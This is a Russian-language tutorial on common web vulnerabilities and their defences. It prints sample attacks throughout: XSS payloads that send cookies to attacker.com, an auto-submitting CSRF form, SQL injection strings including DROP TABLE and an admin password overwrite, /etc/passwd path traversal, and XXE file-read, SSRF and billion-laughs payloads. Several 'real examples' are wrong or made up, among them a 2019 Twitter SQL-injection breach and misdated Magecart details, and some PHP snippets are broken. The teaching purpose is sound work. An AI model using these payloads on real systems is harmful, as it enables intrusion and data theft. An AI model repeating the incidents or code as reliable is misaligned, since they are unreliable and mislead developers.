Вы когда-нибудь задумывались, почему заполненная форма на сайте передаёт данные без проверки? Или почему браузер может выполнить любой JavaScript, вставленный в страницу? Именно эти упущения становятся открытыми дверями для киберпреступников.
Веб-приложения — это огромная мишень. Банки, магазины, форумы — все они хранят чувствительные данные. И если защита слабая, злоумышленник может украсть пароли, перевести деньги, изменить пароли, подделать запросы и причинить ещё много неприятностей.
Эта статья разберёт основные уязвимости, покажет, как они работают на практике, и — самое главное — как их предотвратить. Без лишней воды, только факты и примеры.
1. XSS (Cross-Site Scripting) — межсайтовый скриптинг
Что это такое
XSS — это уязвимость, которая позволяет злоумышленнику внедрить вредоносный JavaScript-код в страницу, которую будут смотреть другие пользователи. Когда браузер загружает эту страницу, скрипт выполняется и может:
- Украсть cookies пользователя
- Перехватить данные с формы
- Перенаправить пользователя на фальшивый сайт
- Модифицировать содержимое страницы
- Выполнить любое действие от имени пользователя
Почему это работает
Браузер доверяет серверу. Если сервер вернул HTML со скриптом, браузер выполнит этот скрипт, не задавая вопросов. Проблема возникает, когда на странице оказывается код, который сервер получил от пользователя.
Три типа XSS
1.1 Stored XSS (Постоянная XSS)
Вредоносный код сохраняется на сервере и выполняется у всех пользователей, которые посещают страницу.
Пример атаки:
Представим форум, где можно писать комментарии. Форма принимает текст и сохраняет его в БД без проверки:
// Вредоносный комментарий
<img src=x onerror="fetch('https://attacker.com/steal.php?cookie=' + document.cookie)">
Когда другой пользователь откроет страницу с этим комментарием, браузер попытается загрузить несуществующее изображение, а обработчик ошибки onerror отправит его cookies на сервер атакующего.
Реальный пример: Magecart + Newegg (2015). Хакеры внедрили вредоносный JavaScript на страницу оформления заказа в интернет-магазине. Скрипт кал данные всех покупателей и отправлял их на сервер злоумышленника. Украдено более 7 миллионов карт.
Защита:
// ❌ УЯЗВИМО
$comment = $_POST['comment'];
$query = "INSERT INTO comments (text) VALUES ('$comment')";
// ✅ ПРАВИЛЬНО
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO comments (text) VALUES (?)";
$stmt = $conn->prepare($query);
$stmt->bind_param("s", $comment);
$stmt->execute();
Функция htmlspecialchars() преобразует опасные символы:
< → <
> → >
" → "
' → '
Теперь браузер воспримет это как текст, а не как HTML.
1.2 Reflected XSS (Отраженная XSS)
Вредоносный код не сохраняется, а передаётся в URL. Сервер отражает его обратно в ответе, и браузер выполняет скрипт.
Пример атаки:
Поисковик сайта выглядит так:
<!-- Поле поиска -->
<input type="text" name="q">
<!-- Результаты поиска -->
<?php
$search = $_GET['q'];
echo "Вы искали: " . $search;
?>
Злоумышленник создаёт ссылку:
https://example.com/search.php?q=<script>alert('Hacked!')</script>
Когда жертва нажимает эту ссылку, сервер возвращает страницу с внедрённым скриптом:
Вы искали: <script>alert('Hacked!')</script>
Браузер выполняет скрипт. Вместо alert() в реальной атаке это будет кража cookies:
https://example.com/search.php?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
Реальный пример: British Airways (2018). Фишинговая ссылка со встроенным XSS-скриптом заставляла пользователей вводить данные своих кредитных карт на поддельной форме. Украдено 380 тысяч записей о платёжах.
Защита:
// ❌ УЯЗВИМО
$search = $_GET['q'];
echo "Вы искали: " . $search;
// ✅ ПРАВИЛЬНО
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "Вы искали: " . $search;
Дополнительный уровень: Используйте CSP (Content Security Policy) заголовок:
Content-Security-Policy: script-src 'self'
Этот заголовок говорит браузеру: “Выполняй скрипты только с одного домена (моего)”. Внедрённые скрипты блокируются автоматически.
1.3 DOM-Based XSS
Вредоносный код работает в браузере, не обращаясь к серверу. Проблема в том, что JavaScript использует небезопасные методы для работы с DOM.
Пример атаки:
<!-- HTML -->
<div id="output"></div>
<!-- JavaScript -->
<script>
var query = new URLSearchParams(window.location.search).get('search');
document.getElementById('output').innerHTML = query;
</script>
Если открыть https://example.com/?search=<img src=x onerror="alert('XSS')">, в переменную query попадёт строка с тегом, и innerHTML добавит его в DOM как HTML, а не как текст.
Защита:
// ❌ УЯЗВИМО - добавляет HTML
document.getElementById('output').innerHTML = query;
// ✅ ПРАВИЛЬНО - добавляет как текст
document.getElementById('output').textContent = query;
// ✅ АЛЬТЕРНАТИВА - явное экранирование
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[&<>"']/g, m => map[m]);
}
document.getElementById('output').innerHTML = escapeHtml(query);
Как защищаться от XSS
На стороне сервера:
- Валидация входных данных — убедитесь, что получили именно то, чего ожидали
- Экранирование на выходе — преобразуйте опасные символы перед вывод в HTML
- Используйте ORM/параметризованные запросы — передавайте данные отдельно от кода
На стороне клиента:
- CSP заголовок — ограничивает источники скриптов
- Используйте
textContent вместо innerHTML — добавляет текст, а не HTML
- Библиотеки — используйте шаблонизаторы вроде Handlebars, которые автоматически экранируют данные
Пример на Node.js/Express:
const express = require('express');
const helmet = require('helmet');
const app = express();
// Добавляем CSP заголовок
app.use(helmet.contentSecurityPolicy({
directives: {
scriptSrc: ["'self'"]
}
}));
app.get('/comment', (req, res) => {
const comment = req.query.text;
// Экранируем перед выводом
const safe = comment
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
res.send(`<p>${safe}</p>`);
});
2. CSRF (Cross-Site Request Forgery) — подделка межсайтовых запросов
Что это такое
CSRF — это атака, при которой злоумышленник заставляет пользователя выполнить нежелательное действие на сайте, на котором тот авторизован, не зная пароля и не касаясь учётных данных.
Почему это опасно
Браузер автоматически отправляет cookies при каждом запросе к сайту. Если пользователь авторизован на банке и одновременно открыл страницу злоумышленника, браузер отправит cookies банка с запросом от мошенника.
Как это работает
Сценарий атаки:
- Вы заходите в свой банк и авторизуетесь
- Вы открываете новую вкладку и посещаете
evil.com
- На
evil.com есть скрытая форма:
<form action="https://bank.com/transfer" method="POST" style="display:none;">
<input name="to" value="attacker">
<input name="amount" value="1000">
</form>
<script>
document.forms[0].submit(); // Автоматически отправляет форму
</script>
- Браузер отправляет POST-запрос на
bank.com, автоматически приложив ваши cookies
- Банк проверяет cookies, видит, что вы авторизованы, и выполняет перевод
- 1000 рублей переводятся на счёт атакующего
Банк не знает, что это вы не отправили запрос. Для него это выглядит как легитимный запрос от авторизованного пользователя.
Реальный пример: Уязвимость в почте Gmail позволяла отправлять письма от имени пользователя, если тот открыл специальную ссылку. Twitter, YouTube и многие другие сервисы пережили подобные атаки.
Условия для успешной CSRF-атаки
- Действие должно измен состояние — банковский перевод, смена пароля, удаление аккаунта
- Параметры известны атакующему — номер счёта, сумма, и т.д.
- Аутентификация основана только на cookies — нет дополнительных проверок
Защита от CSRF
2.1 CSRF-токены
Сервер генерирует уникальный токен для каждой формы. При отправке формы клиент должен передать этот токен. Сервер проверяет совпадение.
Злоумышленник не может получить токен, потому что он не может читать ответ с другого домена (работает Same Origin Policy).
Пример на PHP:
// На странице с формой
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32)); // Генерируем токен
}
?>
<form action="transfer.php" method="POST">
<input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
<input type="text" name="to" placeholder="Кому">
<input type="number" name="amount" placeholder="Сумма">
<button type="submit">Отправить</button>
</form>
<?php
// На странице обработки (transfer.php)
session_start();
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
die('CSRF token invalid');
}
// Выполняем перевод
$to = $_POST['to'];
$amount = $_POST['amount'];
// ... логика перевода
hash_equals() сравнивает строки защищенным от timing-атак способом.
Пример на Node.js/Express:
const express = require('express');
const session = require('express-session');
const csrf = require('csurf');
const app = express();
app.use(session({ secret: 'secret' }));
app.use(express.urlencoded({ extended: false }));
// Middleware для защиты CSRF
const csrfProtection = csrf({ cookie: false });
// Форма с CSRF-токеном
app.get('/transfer', csrfProtection, (req, res) => {
res.send(`
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="${req.csrfToken()}">
<input name="to" placeholder="Кому">
<input name="amount" placeholder="Сумма">
<button type="submit">Отправить</button>
</form>
`);
});
// Обработка формы
app.post('/transfer', csrfProtection, (req, res) => {
// Middleware автоматически проверит токен
const { to, amount } = req.body;
// ... логика перевода
res.send('Перевод выполнен');
});
2.2 SameSite Cookie флаг
Современные браузеры поддерживают флаг SameSite для cookies. Этот флаг говорит: “Отправляй эту cookie только для запросов с одного домена”.
Варианты:
SameSite=Strict — cookie отправляется только при прямом переходе на сайт (из адресной строки, закладок)
SameSite=Lax — cookie отправляется при переходах со ссылок, но не при POST-запросах с других сайтов
SameSite=None; Secure — cookie отправляется везде (нужен HTTPS)
Пример:
// В Response-заголовке
setcookie('session_id', $value, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
Если установить SameSite=Lax, браузер не отправит cookie при POST-запросе с evil.com, что сделает CSRF-атаку невозможной.
2.3 Проверка Referer-заголовка
Заголовок Referer указывает, с какого сайта пришёл запрос. Сервер может проверить, что запрос пришёл с его же домена:
if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== $_SERVER['HTTP_HOST']) {
die('Invalid referer');
}
Но это ненадёжно: пользователь может отключить отправку Referer в браузере.
Лучший подход — комбинация методов
Используйте одновременно:
- CSRF-токены — основная защита
- SameSite cookies — дополнительная линия защиты
- POST вместо GET — для всех критических действий
3. SQL Injection — SQL-инъекция
Что это такое
SQL Injection — это атака, при которой злоумышленник внедряет SQL-код в пользовательский ввод, позволяя ему переписать запрос и выполнить произвольные команды в БД.
Почему это опасно
SQL-инъекция — одна из самых старых и опасных уязвимостей. Через неё можно:
- Читать данные из любой таблицы
- Изменять или удалять данные
- Обходить аутентификацию
- В некоторых системах даже выполнить код на сервере
Как это работает
Пример уязвивого кода:
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
// Пользователь найден
}
Атака 1: Обход аутентификации
Злоумышленник вводит в поле username:
' OR '1'='1' --
Запрос становится:
SELECT * FROM users WHERE username = '' OR '1'='1' -- AND password = ''
Условие '1'='1' всегда истинно, поэтому запрос вернёт всех пользователей. Символ -- комментирует остаток запроса.
Если код проверяет только наличие результатов, атакующий получит доступ к первому же пользователю в таблице (часто это admin).
Атака 2: Извлечение данных
Представим форму поиска товаров:
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
Злоумышленник подставляет:
1 UNION SELECT null, password, null FROM users WHERE id=1--
Запрос становится:
SELECT * FROM products WHERE id = 1 UNION SELECT null, password, null FROM users WHERE id=1--
Он извлекает пароли из таблицы users, подделав результаты поиска товаров.
Атака 3: Модификация данных
1; UPDATE users SET password='hacked' WHERE username='admin';--
Запрос становится:
SELECT * FROM users WHERE id = 1; UPDATE users SET password='hacked' WHERE username='admin';--
Здесь выполняются два запроса, и пароль администратора изменяется.
Реальный пример: Столкновения с SQL-инъекцией происходят постоянно. В 2019 году была взломана Twitter через SQL-инъекцию, где хакеры получили доступ к 130 миллионам пользовательских записей.
Защита от SQL Injection
3.1 Параметризованные запросы (Prepared Statements)
Это самый надёжный способ. Запрос отправляется в двух частях:
- Шаблон — структура запроса с плейсхолдерами
- Параметры — данные, которые подставляются в плейсхолдеры
Плейсхолдеры не интерпретируются как SQL-код, поэтому инъекция невозможна.
Пример на PHP (MySQLi):
// ❌ УЯЗВИМО
$query = "SELECT * FROM users WHERE username = '$username'";
// ✅ ПРАВИЛЬНО
$query = "SELECT * FROM users WHERE username = ?";
$stmt = $conn->prepare($query);
$stmt->bind_param("s", $username);
$stmt->execute();
$result = $stmt->get_result();
Пример на Node.js (PostgreSQL):
const pg = require('pg');
const client = new pg.Client();
// ❌ УЯЗВИМО
const query = `SELECT * FROM users WHERE username = '${username}'`;
// ✅ ПРАВИЛЬНО
const query = 'SELECT * FROM users WHERE username = $1';
const result = await client.query(query, [username]);
Пример на Python (SQLite):
import sqlite3
# ❌ УЯЗВИМО
query = f"SELECT * FROM users WHERE username = '{username}'"
# ✅ ПРАВИЛЬНО
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))
3.2 ORM-фреймворки
ORM (Object-Relational Mapping) автоматически использует параметризованные запросы:
Пример на Node.js (Sequelize):
// Параметризованный запрос под капотом
const user = await User.findOne({ where: { username } });
Пример на Python (SQLAlchemy):
# Параметризованный запрос
user = session.query(User).filter(User.username == username).first()
3.3 Валидация входных данных
Всегда проверяйте, что получили ожидаемый тип и формат:
$id = intval($_GET['id']); // Преобразуем в число
if ($id <= 0) {
die('Invalid ID');
}
$query = "SELECT * FROM products WHERE id = $id";
3.4 Принцип наименьших привилегий
Учётная запись БД, которая используется в приложении, должна иметь минимальные необходимые права:
-- ❌ ОПАСНО
CREATE USER app WITH PASSWORD 'pass';
GRANT ALL PRIVILEGES ON DATABASE mydb TO app;
-- ✅ ПРАВИЛЬНО
CREATE USER app WITH PASSWORD 'pass';
GRANT SELECT, INSERT, UPDATE ON tables TO app;
-- Без DELETE, DROP, и других опасных команд
Если хакер выполнит DROP TABLE, этот пользователь не сможет это сделать.
Как обнаружить SQL-инъекцию на практике
Поиск уязвимых параметров:
Подставляйте специальные символы: ', ", ;, --, /*, и смотрите на ошибки SQL:
https://example.com/product.php?id=1'
https://example.com/product.php?id=1 OR 1=1
https://example.com/product.php?id=1; DROP TABLE users;--
Автоматизированные инструменты:
- SQLMap — автоматически ищет и эксплуатирует SQL-инъекции
- Burp Suite — профессиональный инструмент для тестирования безопасности
4. Path Traversal — обход директорий
Что это такое
Path Traversal — это атака, при которой злоумышленник читает или модифицирует файлы за пределами предназначенной директории.
Как это работает
Представим приложение, которое отправляет файлы из папки /var/www/uploads:
$file = $_GET['file'];
$path = "/var/www/uploads/" . $file;
$content = file_get_contents($path);
echo $content;
Для просмотра файла picture.jpg используется:
https://example.com/download.php?file=picture.jpg
Но что если вместо picture.jpg подставить ../../../etc/passwd?
https://example.com/download.php?file=../../../etc/passwd
Путь становится:
/var/www/uploads/../../../etc/passwd
Который упрощается до:
/etc/passwd
Файл /etc/passwd содержит имена всех пользователей системы (и хешированные пароли). Атакующий получает ценную информацию.
Реальный пример: Множество веб-приложений для скачивания файлов имели такие уязвимости. Злоумышленники получали доступ к конфигурационным файлам (.env, config.php), где хранятся пароли от БД.
Другие варианты атак
Альтернативная кодировка:
https://example.com/download.php?file=..%2F..%2F..%2Fetc%2Fpasswd
Здесь %2F — это URL-кодировка /.
Абсолютный путь:
https://example.com/download.php?file=/etc/passwd
В некоторых языках (например, на .NET) абсолютный путь игнорирует базовую директорию.
Защита от Path Traversal
4.1 Избегайте конкатенации путей
УЯЗВИМО:
$file = $_GET['file'];
$path = "/var/www/uploads/" . $file;
ПРАВИЛЬНО:
// Проверяем, что путь не содержит ..
$file = $_GET['file'];
if (strpos($file, '..') !== false) {
die('Invalid path');
}
$path = "/var/www/uploads/" . $file;
Но это не надёжно! Можно использовать кодировку или другие обходы.
4.2 Используйте белый список
Лучше всего — явно указать, какие файлы доступны:
$allowed_files = ['picture.jpg', 'document.pdf', 'report.xlsx'];
$file = $_GET['file'];
if (!in_array($file, $allowed_files)) {
die('File not allowed');
}
$path = "/var/www/uploads/" . $file;
$content = file_get_contents($path);
4.3 Используйте встроенные функции
Функция realpath() преобразует путь в абсолютный и разрешает все ../:
$file = $_GET['file'];
$base_dir = realpath("/var/www/uploads");
$real_path = realpath("/var/www/uploads/" . $file);
// Проверяем, что результирующий путь начинается с базовой директории
if (strpos($real_path, $base_dir) !== 0) {
die('Access denied');
}
$content = file_get_contents($real_path);
На Node.js:
const path = require('path');
const fs = require('fs');
const baseDir = path.resolve(__dirname, 'uploads');
const file = req.query.file;
const fullPath = path.resolve(baseDir, file);
// Проверяем, что путь внутри baseDir
if (!fullPath.startsWith(baseDir)) {
return res.status(403).send('Access denied');
}
fs.readFile(fullPath, (err, data) => {
if (err) return res.status(404).send('Not found');
res.send(data);
});
4.4 Используйте ID вместо имён файлов
Самый надёжный подход — хранить файлы в БД или использовать ID:
$file_id = (int)$_GET['id']; // Приводим к числу
$row = $db->query("SELECT filename FROM files WHERE id = ?", [$file_id]);
$real_filename = $row['filename'];
$path = "/var/www/uploads/" . $real_filename;
$content = file_get_contents($path);
Теперь атакующий не может просто угадать пути, потому что файлы идентифицируются по ID, а не по имени.
5. XXE (XML External Entity Injection)
Что это такое
XXE — это атака, при которой злоумышленник внедряет вредоносные XML-сущности, чтобы получить доступ к файлам на сервере или выполнить атаку типа SSRF.
Как это работает
XML поддерживает внешние сущности — ссылки на файлы. Если приложение неправильно настроено, сущности могут быть использованы для чтения файлов.
Пример уязвивого кода:
$xml = $_POST['xml'];
$dom = new DOMDocument();
$dom->load('php://memory', $xml); // ОПАСНО: загружает XML без проверки
Вредоносный XML:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<shop>
<itemID>&xxe;</itemID>
</shop>
При парсинге XML-парсер подставит содержимое файла /etc/passwd вместо &xxe;. Если приложение выводит значение itemID, атакующий прочитает содержимое файла.
Более сложный пример — SSRF-атака:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<data>
<request>&xxe;</request>
</data>
Здесь XML-парсер делает запрос к внутреннему серверу (который недоступен извне), и результат попадает в ответ.
Billion Laughs DoS-атака:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
Каждый уровень умножает данные в 10 раз. lol4 содержит 10 миллиардов “lol”. XML-парсер исчерпывает память и падает.
Защита от XXE
5.1 Отключите внешние сущности
На PHP:
$dom = new DOMDocument();
$dom->load($file);
// Отключаем обработку внешних сущностей
libxml_disable_entity_loader(true);
Или используйте libxml_set_external_entity_loader:
libxml_set_external_entity_loader(function($public, $system, $context) {
return false; // Блокируем все внешние сущности
});
На Node.js (с использованием xml2js
const xml2js = require('xml2js');
const parser = new xml2js.Parser({
strict: false,
dtdtolower: false,
normalize: false,
normalizeTags: false,
attrNameProcessors: undefined,
attrValueProcessors: undefined,
xmldecl: true,
doctype: true,
doctypeFn: function(doctype) {
// Блокируем DOCTYPE
throw new Error('DOCTYPE not allowed');
}
});
На Python:
from lxml import etree
# Отключаем внешние сущности
parser = etree.XMLParser(resolve_entities=False, remove_blank_text=True)
tree = etree.parse(xml_file, parser)
Или используйте более строгие настройки:
from defusedxml.ElementTree import parse as defused_parse
# Использует безопасный парсер по умолчанию
tree = defused_parse(xml_file)
5.2 Валидируйте XML-схему
Используйте XML Schema (XSD) для определения, какие элементы и атрибуты допустимы:
$dom = new DOMDocument();
$dom->load($xml_file);
$schema_file = 'schema.xsd';
if (!$dom->schemaValidate($schema_file)) {
die('XML does not match schema');
}
5.3 Используйте безопасные библиотеки
Используйте специализированные библиотеки для работы с XML:
- defusedxml (Python)
- xml2js (Node.js) с правильной конфигурацией
- OWASP ESAPI (Java, .NET)
6. Broken Authentication и Session Hijacking
Что это такое
Broken Authentication — это класс уязвимостей, связанных с неправильной реализацией аутентификации и управления сессиями.
Session Hijacking — это атака, при которой злоумышленник крадёт Session ID и выдаёт себя за другого пользователя.
Как это работает
Сценарий атаки:
- Пользователь логинится на сайте
- Сервер генерирует Session ID (например:
abc123def456) и отправляет его в cookie
- Браузер пользователя отправляет эту cookie со всеми запросами
- Злоумышленник каким-то образом получает этот Session ID
- Злоумышленник подставляет украденный Session ID в своём браузере
- Сервер считает, что это авторизованный пользователь
Как можно украсть Session ID:
-
Открытая Wi-Fi — если сайт использует HTTP вместо HTTPS, трафик передаётся в открытом виде. Хакер с помощью сниффера (tcpdump, Wireshark) перехватывает cookies.
-
XSS-атака — вредоносный скрипт читает cookies:
fetch('https://attacker.com/steal?cookies=' + document.cookie);
-
Небезопасное хранилище — если Session ID хранится в localStorage в открытом виде, XSS может его украсть.
-
Predictable Session ID — если Session ID легко угадать (например, просто номер, который увеличивается), атакующий может перебрать ID всех пользователей.
Защита
6.1 Используйте HTTPS
HTTPS шифрует весь трафик между браузером и сервером. Session ID передаётся в зашифрованном виде и не может быть перехвачен по открытой Wi-Fi.
// Принудительно редиректим на HTTPS
if (empty($_SERVER['HTTPS']) || $_SERVER['HTTPS'] === "off") {
$url = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: $url");
exit;
}
6.2 HttpOnly флаг для cookies
Флаг HttpOnly запрещает JavaScript доступ к cookie:
setcookie('session_id', $value, [
'expires' => time() + 3600,
'path' => '/',
'domain' => 'example.com',
'secure' => true, // Только HTTPS
'httponly' => true, // Недоступна для JavaScript
'samesite' => 'Lax' // Защита от CSRF
]);
Теперь даже если на сайте есть XSS, скрипт не сможет прочитать session cookie.
6.3 Генерируйте криптографически стойкие Session ID
СЛАБО:
$session_id = rand(1, 1000000); // Легко угадать
ПРАВИЛЬНО:
$session_id = bin2hex(random_bytes(32)); // 64 символа, криптографически стойкий
6.4 Используйте встроенные функции
Большинство фреймворков имеют встроенное управление сессиями:
На PHP:
session_start();
$_SESSION['user_id'] = $user_id;
// Session ID генерируется автоматически и безопасно
На Node.js (Express + express-session):
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET, // Сильный секрет
resave: false,
saveUninitialized: true,
cookie: {
secure: true, // Только HTTPS
httpOnly: true, // Недоступна для JS
sameSite: 'Lax'
}
}));
6.5 Регенерируйте Session ID при логине
Если Session ID не меняется при входе, атакующий может использовать угаданный ID для входа, если он был сгенерирован до аутентификации.
session_start();
// Проверяем пароль...
if ($password_correct) {
session_regenerate_id(true); // Меняем Session ID
$_SESSION['user_id'] = $user_id;
}
6.6 Добавляйте дополнительные проверки
Храните дополнительную информацию о сессии и проверяйте её:
session_start();
// При создании сессии
$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
$_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
// При каждом запросе
if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT'] ||
$_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
session_destroy();
die('Session tampering detected');
}
Если IP или User Agent изменился, это подозрительно. Злоумышленник использует сессию с другого компьютера/браузера.
7. Broken Access Control — нарушенный контроль доступа
Что это такое
Broken Access Control возникает, когда приложение не проверяет, имеет ли пользователь право на доступ к ресурсу.
Как это работает
Пример 1: Прямой доступ к объектам (IDOR)
Приложение имеет API для получения счёта пользователя:
GET /api/account/123
Сервер возвращает данные счёта пользователя с ID 123. Но приложение не проверяет, принадлежит ли этот счёт текущему пользователю!
Злоумышленник может просто изменить ID:
GET /api/account/456
GET /api/account/789
И получить доступ к чужим счетам.
Пример 2: Отсутствие проверки прав
Панель администратора находится по адресу /admin. Приложение просто проверяет, авторизован ли пользователь, но не проверяет, является ли он администратором:
if (!isset($_SESSION['user_id'])) {
die('Not authorized');
}
// Дальше выводим админ-панель...
Обычный пользователь может просто открыть /admin и получить доступ.
Защита
7.1 Всегда проверяйте права доступа
// ❌ НЕПРАВИЛЬНО
function getAccount($account_id) {
$result = $db->query("SELECT * FROM accounts WHERE id = ?", [$account_id]);
return $result;
}
// ✅ ПРАВИЛЬНО
function getAccount($account_id, $user_id) {
$result = $db->query(
"SELECT * FROM accounts WHERE id = ? AND user_id = ?",
[$account_id, $user_id]
);
if (!$result) {
throw new Exception('Access denied');
}
return $result;
}
7.2 Используйте роли и разрешения
Создайте систему ролей:
$user_roles = $db->query("SELECT role FROM user_roles WHERE user_id = ?", [$user_id]);
function canAccess($resource, $user_id) {
$roles = $db->query("SELECT role FROM user_roles WHERE user_id = ?", [$user_id]);
foreach ($roles as $role) {
$permissions = $db->query(
"SELECT permission FROM role_permissions WHERE role = ?",
[$role['role']]
);
foreach ($permissions as $perm) {
if ($perm['permission'] === $resource) {
return true;
}
}
}
return false;
}
// Использование
if (!canAccess('/admin', $user_id)) {
die('Access denied');
}
7.3 Используйте middleware для проверки прав
На Node.js/Express:
function requireAdmin(req, res, next) {
if (req.user && req.user.role === 'admin') {
next();
} else {
res.status(403).send('Access denied');
}
}
app.get('/admin', requireAdmin, (req, res) => {
// Только администратор может сюда попасть
});
7.4 Используйте принцип наименьших привилегий
По умолчанию запрещайте всё, потом явно разрешайте:
$permission = false;
if ($user['role'] === 'admin') {
$permission = true;
} elseif ($user['role'] === 'moderator' && $resource_type === 'comments') {
$permission = true;
}
if (!$permission) {
die('Access denied');
}
Общие принципы защиты
Эти рекомендации помогут защитить от большинства уязвимостей:
1. Валидируйте ВСЕ входные данные
// ✅ ХОРОШО
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (!$email) {
die('Invalid email');
}
$age = filter_var($_POST['age'], FILTER_VALIDATE_INT, [
'options' => ['min_range' => 0, 'max_range' => 150]
]);
if ($age === false) {
die('Invalid age');
}
2. Экранируйте при выводе
Преобразуйте опасные символы перед выводом в HTML, JavaScript, SQL, и т.д.:
// ✅ В HTML
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// ✅ В JavaScript (на сервере)
echo json_encode($data, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
// ✅ В SQL (используйте параметризованные запросы)
$stmt = $db->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$user_id]);
3. Используйте параметризованные запросы
Всегда передавайте данные отдельно от кода:
// ❌ ОПАСНО
$query = "SELECT * FROM users WHERE name = '$name'";
// ✅ ПРАВИЛЬНО
$stmt = $db->prepare("SELECT * FROM users WHERE name = ?");
$stmt->execute([$name]);
4. Используйте HTTPS
Все критические данные должны передаваться в зашифрованном виде.
5. Логируйте и мониторьте
Ведите логи всех операций, особенно связанных с аутентификацией и доступом к критичным ресурсам:
function log_access($user_id, $resource, $success) {
$log = [
'timestamp' => date('Y-m-d H:i:s'),
'user_id' => $user_id,
'resource' => $resource,
'success' => $success,
'ip' => $_SERVER['REMOTE_ADDR']
];
file_put_contents('access.log', json_encode($log) . "\n", FILE_APPEND);
}
6. Обновляйте зависимости
Используйте последние версии библиотек и фреймворков. Старые версии могут содержать известные уязвимости:
# PHP
composer update
# Node.js
npm audit fix
# Python
pip install --upgrade package_name
7. Регулярно тестируйте безопасность
- Используйте инструменты для автоматического сканирования (OWASP ZAP, Burp Suite)
- Проводите ревью кода
- Выполняйте пентест регулярно
Инструменты для тестирования
Для обнаружения уязвимостей:
- OWASP ZAP — бесплатный сканер для веб-приложений
- Burp Suite Community — профессиональный инструмент (платная версия)
- SQLMap — специализированный для SQL-инъекций
- Nikto — для сканирования веб-серверов
Для проверки кода:
- SonarQube — статический анализ кода
- Checkmarx — поиск уязвимостей в коде
- Semgrep — открытый инструмент для поиска паттернов уязвимостей
Для тестирования на проникновение:
- Metasploit — framework для пентеста
- Kali Linux — ОС со встроенными инструментами безопасности
Заключение
Web-уязвимости — это серьёзная проблема, но с ними можно и нужно бороться. Ключевые моменты:
- XSS — экранируйте данные, используйте CSP
- CSRF — используйте токены, SameSite cookies
- SQL Injection — используйте параметризованные запросы
- Path Traversal — валидируйте пути, используйте белый список
- XXE — отключайте внешние сущности
- Broken Auth — используйте HTTPS, HttpOnly cookies, криптографически стойкие Session ID
- Broken Access Control — всегда проверяйте права доступа
Помните: безопасность — это не одноразовое действие, а непрерывный процесс. Обновляйте код, тестируйте, учитесь на чужих ошибках.
Успехов в разработке безопасных приложений!